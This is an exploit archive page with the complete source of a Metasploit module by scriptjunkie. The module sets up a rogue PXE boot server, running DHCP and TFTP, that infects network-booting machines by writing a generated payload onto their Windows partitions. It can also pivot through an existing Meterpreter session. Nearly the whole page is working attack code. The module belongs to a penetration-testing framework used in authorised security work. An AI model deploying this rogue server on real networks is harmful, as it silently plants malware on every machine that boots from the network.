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PXE Exploit Server

PXE Exploit Server
Posted Oct 2, 2014
Authored by scriptjunkie | Site metasploit.com

This Metasploit module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing the payload on the hard drive of any Windows partition seen. Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses.

tags | exploit, kernel
systems | linux, windows
MD5 | d460fa9283cb3c389b17f5af2fdbe6c8

PXE Exploit Server

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::TFTPServer
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'PXE Exploit Server',
'Description' => %q{
This module provides a PXE server, running a DHCP and TFTP server.
The default configuration loads a linux kernel and initrd into memory that
reads the hard drive; placing the payload on the hard drive of any Windows
partition seen.

Note: the displayed IP address of a target is the address this DHCP server
handed out, not the "normal" IP address the host uses.
},
'Author' => [ 'scriptjunkie' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 4500,
'DisableNops' => 'True',
},
'Platform' => 'win',
'DisclosureDate' => 'Aug 05 2011',
'Targets' =>
[
[ 'Windows Universal',
{
}
],
],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0
)

register_options(
[
OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ])
], self.class)

register_advanced_options(
[
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
], self.class)
end

def exploit
if not datastore['TFTPROOT']
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
end
datastore['FILENAME'] = "update1"
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!

# Prepare payload
print_status("Creating initrd")
initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
uncompressed = Rex::Text.ungzip(initrd)
payl = payload.generate
uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
initrd = Rex::Text.gzip(uncompressed)

# Meterpreter attack
if framework.sessions.include? datastore['SESSION']
client = framework.sessions[datastore['SESSION']]
if not client.lanattacks
print_status("Loading lanattacks extension...")
client.core.use("lanattacks")
else
if datastore['RESETPXE']
print_status("Resetting PXE attack...")
client.lanattacks.dhcp.reset
end
end

print_status("Loading DHCP options...")
client.lanattacks.dhcp.load_options(datastore)
0.upto(4) do |i|
print_status("Loading file #{i+1} of 5")
if i < 4
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
else
contents = initrd
end
client.lanattacks.tftp.add_file("update#{i}",contents)
end
print_status("Starting TFTP server...")
client.lanattacks.tftp.start
print_status("Starting DHCP server...")
client.lanattacks.dhcp.start
print_status("pxesploit attack started")
while (true) do
begin
# get stats every 20s
select(nil, nil, nil, 20)
client.lanattacks.dhcp.log.each do |item|
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
"(#{Rex::Socket.addr_ntoa(item[1])})")
report_note({
:type => 'PXE.client',
:data => item[0].unpack('H2H2H2H2H2H2').join(':')
})
end
rescue ::Interrupt
print_status("Stopping TFTP server...")
client.lanattacks.tftp.stop
print_status("Stopping DHCP server...")
client.lanattacks.dhcp.stop
print_status("PXEsploit attack stopped")
return
end
end
end

# normal attack
print_status("Starting TFTP server...")
@tftp = Rex::Proto::TFTP::Server.new
@tftp.set_tftproot(datastore['TFTPROOT'])
@tftp.register_file('update4',initrd)
@tftp.start

print_status("Starting DHCP server...")
@dhcp = Rex::Proto::DHCP::Server.new( datastore )
@dhcp.report do |mac, ip|
print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+
"(#{Rex::Socket.addr_ntoa(ip)})")
report_note({
:type => 'PXE.client',
:data => mac.unpack('H2H2H2H2H2H2').join(':')
})
end
@dhcp.start
print_status("pxesploit attack started")

# Wait for finish..
@tftp.thread.join
@dhcp.thread.join
print_status("pxesploit attack completed")
end

end

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